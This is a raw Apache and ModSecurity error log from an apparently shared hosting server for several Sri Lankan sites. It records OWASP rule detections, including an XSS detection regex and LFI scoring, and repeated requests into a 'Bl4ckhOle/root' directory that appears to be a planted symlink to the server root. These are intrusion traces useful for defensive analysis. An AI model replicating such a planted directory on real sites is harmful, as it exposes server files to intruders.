[Fri Jul 17 08:38:37.841419 2026] [security2:error] [pid 2014256:tid 2014256] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylondigest.com"] [uri "/index.php"] [unique_id "almcqYZvbo7N5o5zeYC8KQAAABw"]
[Fri Jul 17 08:38:37.954294 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:41.369343 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:41.405409 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:42.150626 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 136.243.176.156:0] AH01067: Failed to read FastCGI header
[Fri Jul 17 08:38:42.150671 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] (104)Connection reset by peer: [client 136.243.176.156:0] AH01075: Error dispatching request to : 
[Fri Jul 17 08:38:42.702311 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcurEWOaI5pmYo9fnMyQAAAAA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:38:42.702456 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcurEWOaI5pmYo9fnMyQAAAAA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:38:46.965468 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 57.141.18.11:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory92/subsystem/devices/memory63/subsystem/devices/memory42/node0/compact
[Fri Jul 17 08:38:47.164666 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:48.649803 2026] [authz_core:error] [pid 1993619:tid 1993619] [client 20.151.7.119:0] AH01630: client denied by server configuration: /home/bostonlanka/public_html/wp-includes/rest-api/error_log
[Fri Jul 17 08:38:51.039193 2026] [security2:error] [pid 2014256:tid 2014256] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almcwoZvbo7N5o5zeYC8OwAAABw"]
[Fri Jul 17 08:38:51.039234 2026] [security2:error] [pid 2014256:tid 2014256] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almcwoZvbo7N5o5zeYC8OwAAABw"]
[Fri Jul 17 08:38:52.250422 2026] [core:error] [pid 2014256:tid 2014256] (13)Permission denied: [client 57.141.18.63:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory99/subsystem/devices/memory3/subsystem/devices/memory133/node0/memory106/node0/compact
[Fri Jul 17 08:38:53.105947 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Fact_sheet_WH_Meningococcal_meningitis_UPDATED.pdf"] [unique_id "almcxQ5GPQ6hs4VrfMo_EAAAAAY"]
[Fri Jul 17 08:38:53.106348 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Fact_sheet_WH_Meningococcal_meningitis_UPDATED.pdf"] [unique_id "almcxQ5GPQ6hs4VrfMo_EAAAAAY"]
[Fri Jul 17 08:38:53.106700 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Fact_sheet_WH_Meningococcal_meningitis_UPDATED.pdf"] [unique_id "almcxQ5GPQ6hs4VrfMo_EAAAAAY"]
[Fri Jul 17 08:38:53.902230 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:45222] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:39:01.384800 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:08.895475 2026] [ssl:error] [pid 2019567:tid 2019567] (70014)End of file found: [client 66.85.158.91:41834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:39:10.826270 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:41908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:39:14.933987 2026] [core:error] [pid 2018767:tid 2018767] (13)Permission denied: [client 57.141.18.118:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory65/subsystem/devices/memory5/subsystem/devices/memory116/node0/memory21/subsystem/uevent
[Fri Jul 17 08:39:20.628400 2026] [mime:warn] [pid 2018746:tid 2018746] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:21.915405 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almc4XRlmrtCoY_COpcjywAAAAg"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:39:21.915463 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almc4XRlmrtCoY_COpcjywAAAAg"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:39:22.723653 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:22.999685 2026] [core:error] [pid 2018746:tid 2018746] (13)Permission denied: [client 57.141.18.19:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory141/node0/memory103/node0/memory59/subsystem/uevent
[Fri Jul 17 08:39:25.892317 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:25.896833 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:26.483374 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.95:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory101/node0/memory88/node0/memory40/node0/memory137/"] [unique_id "almc5ol9vhFBGA6D8l93kwAAAAw"]
[Fri Jul 17 08:39:26.483426 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.95:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory101/node0/memory88/node0/memory40/node0/memory137/"] [unique_id "almc5ol9vhFBGA6D8l93kwAAAAw"]
[Fri Jul 17 08:39:27.582909 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:31.243119 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:34.561888 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:34.575607 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:39.068294 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:39:42.539378 2026] [security2:error] [pid 1993715:tid 1993715] [client 35.254.244.123:0] ModSecurity: Rule 55dbd86b49f0 [id "932100"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "123"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "kamecho.lk"] [uri "/"] [unique_id "almc9nRlmrtCoY_COpcj1AAAAAg"], referer: https://kamecho.lk/
[Fri Jul 17 08:39:42.539460 2026] [security2:error] [pid 1993715:tid 1993715] [client 35.254.244.123:0] ModSecurity: Rule 55dbd86c4390 [id "932105"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "159"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "kamecho.lk"] [uri "/"] [unique_id "almc9nRlmrtCoY_COpcj1AAAAAg"], referer: https://kamecho.lk/
[Fri Jul 17 08:39:42.542515 2026] [security2:error] [pid 1993715:tid 1993715] [client 35.254.244.123:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "kamecho.lk"] [uri "/"] [unique_id "almc9nRlmrtCoY_COpcj1AAAAAg"], referer: https://kamecho.lk/
[Fri Jul 17 08:39:42.544738 2026] [security2:error] [pid 1993715:tid 1993715] [client 35.254.244.123:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "kamecho.lk"] [uri "/"] [unique_id "almc9nRlmrtCoY_COpcj1AAAAAg"], referer: https://kamecho.lk/
[Fri Jul 17 08:39:42.544887 2026] [security2:error] [pid 1993715:tid 1993715] [client 35.254.244.123:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "kamecho.lk"] [uri "/"] [unique_id "almc9nRlmrtCoY_COpcj1AAAAAg"], referer: https://kamecho.lk/
[Fri Jul 17 08:39:44.391468 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:56362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:39:46.769829 2026] [cgi:error] [pid 1993619:tid 1993619] [client 188.166.105.68:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:39:46.769914 2026] [cgi:error] [pid 1993619:tid 1993619] [client 188.166.105.68:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:39:47.630961 2026] [cgi:error] [pid 1993671:tid 1993671] [client 188.166.105.68:0] AH02811: stderr from /usr/local/cpanel/cgi-sys/favicon.ico: script not found or unable to stat, referer: https://ftp.casa18villa.com/cgi-sys/suspendedpage.cgi
[Fri Jul 17 08:39:48.189167 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:56562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:39:50.418922 2026] [security2:error] [pid 2013829:tid 2013829] [client 52.201.155.215:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/vol_37_no_50_english.pdf"] [unique_id "almc_g7FYe46zHK_jL3NkQAAABk"]
[Fri Jul 17 08:39:50.418955 2026] [security2:error] [pid 2013829:tid 2013829] [client 52.201.155.215:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/vol_37_no_50_english.pdf"] [unique_id "almc_g7FYe46zHK_jL3NkQAAABk"]
[Fri Jul 17 08:39:52.560233 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdAI4Wmn5zySdNNkAmPAAAABM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:39:52.560272 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdAI4Wmn5zySdNNkAmPAAAABM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:39:53.975331 2026] [security2:error] [pid 1996894:tid 1996894] [client 84.54.44.204:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:enquiry. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xbc https://good-stroy.net/magazin/product/svarochnyj-elektrod-resanta-pro-46-f4-0-pachka-3-kg\\x0d\\x0a \\x0d\\x0a\\xd0\\x9a\\xd1\\x80\\xd0\\xb0\\xd1\\x81\\xd0\\xba\\xd0\\xb0 solo \\xd0\\xb4\\xd0\\xbb\\xd1\\x8f \\xd0\\xbf\\xd0\\xbe found within ARGS:enquiry: \\xd0\\x91\\xd0\\xb5\\xd1\\x81\\xd0\\xbf\\xd0\\xbb\\xd0\\xb0\\xd1\\x82\\xd0\\xbd\\xd0\\xb0\\xd1\\x8f \\xd0\\xb4\\xd0\\xbe\\xd1\\x81\\xd1\\x82\\xd0\\xb0\\xd0\\xb2\\xd0\\xba\\xd0\\xb0 \\xd0\\xbf\\xd0\\xbe \\xd1\\x80\\xd1\\x8f\\xd0\\xb7\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8 \\xd0\\xbe\\xd1\\x82 1000 \\xd1\\x80\\xd1\\x83\\x..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almdAY4Wmn5zySdNNkAmPQAAABM"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:39:53.976393 2026] [security2:error] [pid 1996894:tid 1996894] [client 84.54.44.204:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almdAY4Wmn5zySdNNkAmPQAAABM"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:39:54.732627 2026] [security2:error] [pid 1996894:tid 1996894] [client 84.54.44.204:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almdAY4Wmn5zySdNNkAmPQAAABM"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:39:54.745462 2026] [security2:error] [pid 2018758:tid 2018758] [client 112.134.211.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.validate.min.js"] [unique_id "almdAoRpm5MObcED3Q9qrAAAABE"], referer: https://www.nccp.health.gov.lk/en/incedenceData
[Fri Jul 17 08:39:54.745515 2026] [security2:error] [pid 2018758:tid 2018758] [client 112.134.211.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.validate.min.js"] [unique_id "almdAoRpm5MObcED3Q9qrAAAABE"], referer: https://www.nccp.health.gov.lk/en/incedenceData
[Fri Jul 17 08:39:58.745287 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdBlCBpfuYyhJ140vQYgAAAB4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:39:58.745337 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdBlCBpfuYyhJ140vQYgAAAB4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:40:02.333882 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 85.208.96.195:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:03.894682 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:52046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:08.838032 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdEEgVnBK6wAv37w6qOAAAABQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:40:08.838090 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdEEgVnBK6wAv37w6qOAAAABQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:40:10.053558 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/stories/corona-animal-spread.png"] [unique_id "almdElh1WDijTxd1xw5KUgAAAAc"]
[Fri Jul 17 08:40:10.054095 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/stories/corona-animal-spread.png"] [unique_id "almdElh1WDijTxd1xw5KUgAAAAc"]
[Fri Jul 17 08:40:10.054523 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/stories/corona-animal-spread.png"] [unique_id "almdElh1WDijTxd1xw5KUgAAAAc"]
[Fri Jul 17 08:40:11.913519 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdExAi3pC6yjXGNq1-kAAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
